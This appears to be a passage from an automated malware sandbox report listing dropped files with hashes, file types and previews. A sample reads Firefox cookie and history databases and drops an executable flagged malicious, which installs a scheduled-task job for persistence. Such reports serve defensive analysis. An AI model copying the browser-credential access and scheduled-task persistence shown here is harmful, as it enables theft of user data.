Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir6880_349042258\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6880_349042258\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir6880_349042258\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_349042258\cc02452a-f582-436d-93ad-feacde958d4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 15:08:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9878674565079395
Encrypted:	false
SSDEEP:	48:8qHbdXTc8H0idAKZdA1uehwiZUklqehzxy+3:8qVgI2xy
MD5:	12557E8EAEE6031DBAAA3BB3B3B70D8A
SHA1:	824E35D1F915238C519B5751D29E0E43E583FEAC
SHA-256:	3485F946007A172D817F26AE110D03097ADAB7A1E18C6735C51F52AF1411FD54
SHA-512:	56C8A240F4A626B18B6D2ADA820C434E5DB79BDE7B20716504FFEBDD0CC59D36551D0F79F9FC6DB04D19E2784D923F3072B1A559B0857756C6E2AC41E0E5AC64
Malicious:	false
Preview:	L..................F.@.. ...$+.,......b..<......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IvY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VvY......M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VvY.............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VvY......N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O\.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 15:08:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.002540050009826
Encrypted:	false
SSDEEP:	48:8oQHbdXTc8H0idAKZdA1Heh/iZUkAQkqehmxy+2:8oQVgu9Qhxy
MD5:	65B32818D3E62FDBECFCEBB2EBC6AE50
SHA1:	D56A8B4F0203347DFB086799AB45D47764E952A7
SHA-256:	B8D4E3E8B5BB505E5EF537A61CC56201AC18322467980BD774508F26FAF2622E
SHA-512:	293AEE6E4D514EE5906234D477CF0063325BD0424756089F16ED511A2AD8568BDBF9268D0F8C0F70D3EAD247EB3F18A71741A06F640D8955B5FFD4C22C1E639E
Malicious:	false
Preview:	L..................F.@.. ...$+.,....#rU..<......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IvY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VvY......M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VvY.............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VvY......N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O\.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 08:59:33 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.007558509702089
Encrypted:	false
SSDEEP:	48:8FHbdXTcbH0idAKZdA149eh7sFiZUkmgqeh7sExy+BX:8FVgfnKxy
MD5:	ECC6947D1511FF574904C72466AAD8C6
SHA1:	22B5324CC6A8BFBDD46C313AA580030B2797C8CA
SHA-256:	798DDA44668A3566D360FB23B5C969B3DF07F959E0AAA37EE59C265E63C09343
SHA-512:	20B0D605B278328D351E2FCD9A987DA98A7A01689AE7CECF362B7530FFFF721D721A26E355115EC7D759744371E08A2F8DBA9E1C282EC76472DE1C92DE23583F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....K..r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IvY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VvY......M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VvY.............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.L....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O\.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 15:08:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.002971924141667
Encrypted:	false
SSDEEP:	48:8CHbdXTc8H0idAKZdA14ehDiZUkwqehixy+R:8CVgF8xy
MD5:	6F32F3EF6F8A93421774DDEDEC49C250
SHA1:	AC9B63F7E5C718FB9B4E3322206886D0CDC29606
SHA-256:	C77ED6BF8CF62227483F6013CC752A0CE3A57FA791718F235FE928BDB3A31185
SHA-512:	3C9BC46A879F90530F91E6A5C5DF4EAAE270D85E11A9D3F90B0AB9C4E61D279590CEAAD6722AD31A4C131A063DE6AD5D75EEF84057E75548F6A0B15A181AC3B5
Malicious:	false
Preview:	L..................F.@.. ...$+.,......I..<......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IvY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VvY......M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VvY.............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VvY......N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O\.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 15:08:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9894791112009655
Encrypted:	false
SSDEEP:	48:8VHbdXTc8H0idAKZdA1mehBiZUk1W1qehYxy+C:8VVgF94xy
MD5:	CF1DCF2B368B33E2CC75355E9013F0E9
SHA1:	C773DBAD1593C0179CF2DD166B7F9B0CD65876A8
SHA-256:	F41CE4BCE2C91F407CDD777B0C4DEECAB1F89CB05F0AEA5C3250F4D163C75F63
SHA-512:	3F6D72E8F52D204B109A732DCE76F15C60C8FA1CA6197B00BACC69BE4F2D4D0AD75CB2C1B3BAFD15FE455874B0113A4ED3404A172A7FC154A28CF34DF799EA65
Malicious:	false
Preview:	L..................F.@.. ...$+.,....x.\..<......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IvY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VvY......M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VvY.............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VvY......N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O\.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 15:08:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000095682382495
Encrypted:	false
SSDEEP:	48:8WHbdXTc8H0idAKZdA1duT1ehOuTbbiZUk5OjqehOuTbKxy+yT+:8WVg8TyTbxWOvTbKxy7T
MD5:	029F13972C22464B02C03203D88A3ABC
SHA1:	C58CF191F8B9DEDF38D7A66FA828B567FCED3A16
SHA-256:	DBCFAE1817BB05428C795B7FE31024A4D0654DDA42B1DE211F2754DA19ECA844
SHA-512:	DA57BB901DF885AA07E2D4A6B511EF898286D073E17657176E0D0E519CABD30423DD6B2755483195B2FD92E3A415B5CC17C74C234B501B0D5E609BCEF5E0ABC3
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....l?..<......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IvY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VvY......M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VvY.............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VvY......N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........O\.\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIDGHDGIDAK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1922048
Entropy (8bit):	7.952724659681467
Encrypted:	false
SSDEEP:	49152://TTxdTbrxgYihAr5xkWqG8E/N3SEry5RUuzen3lBsVL9t:/7TxZb0qrd9ucB8
MD5:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
SHA1:	16712810FCF1BB9C7F1940AF8E2E59B92F4A7B65
SHA-256:	EDEC375A0EF3CE9E3067AA661E9E32FEE7CBA13FF4F3C7AB69D6DB8D7B22B03D
SHA-512:	05D112DAD0D496F825ED88C18D7C196432994F5CCCA9F6F1E098D6376D56C1AA98D8C47E9542ACFE2A53672802E89E68257F607B843E4EBDBD38CD44F1DDBDDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL...........@.................................W...k.......H....................%L..............................%L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .@+.........................@...hockpqtz.@....1..6..................@...wxulotut.....0L.....................@....taggant.0...@L.."...2..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIDGHDGIDAK.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.3891533881530744
Encrypted:	false
SSDEEP:	6:bPYbtX37UEZ+lX1CGdKUe6tIxW+Za/y0lBzlE0ut0:bC37Q1CGAFFc2a/VBzTut0
MD5:	4CCED5624F27A2D2EFE85E61E0B96229
SHA1:	2C1B674742465CDD99CDD8CF6D53D85DF5E78C72
SHA-256:	9FE93FAC916B1E4D3899AF85DCEEC9BA1191D27CF9529729C52E179E9D374783
SHA-512:	B0B831771A60A07649306C8BB46473B5E8BC7CACF0C26B75B2BA885FEF95EF80B3187030BDF603BAD74FC2427E9060EB29538C2544850B41BDF9B982B965BEDC
Malicious:	false
Preview:	.....^2...fF..d....2F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.b.r.o.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........B.R.O.K.-.P.C.\.b.r.o.k...................0...................@3P.........................

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (783)
Category:	downloaded
Size (bytes):	788
Entropy (8bit):	5.1132526626024015
Encrypted:	false
SSDEEP:	24:bwHpauZ53CBHslgT9lCuABuoB7HHHHHHHYqmffffffo:bGbZpCKlgZ01BuSEqmffffffo
MD5:	A3F005483BC15FE9C40428D497D82C11
SHA1:	3F71F99CFC27E5AFC2F7CAE8E20B5A1A34F69528
SHA-256:	B5B59A90BE9F2B2B3AAD921297C2DB42936750FC3F75FB0F33F417AA3E61CA79
SHA-512:	CDC989F02B31B4B0B35A76D6E87CE596356E85191DFDA9629EAF3BCABC683039FFED8E04D2BF671FD4D3E930C3AD7B313164A348B733345481E5E67BF5B404E6
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
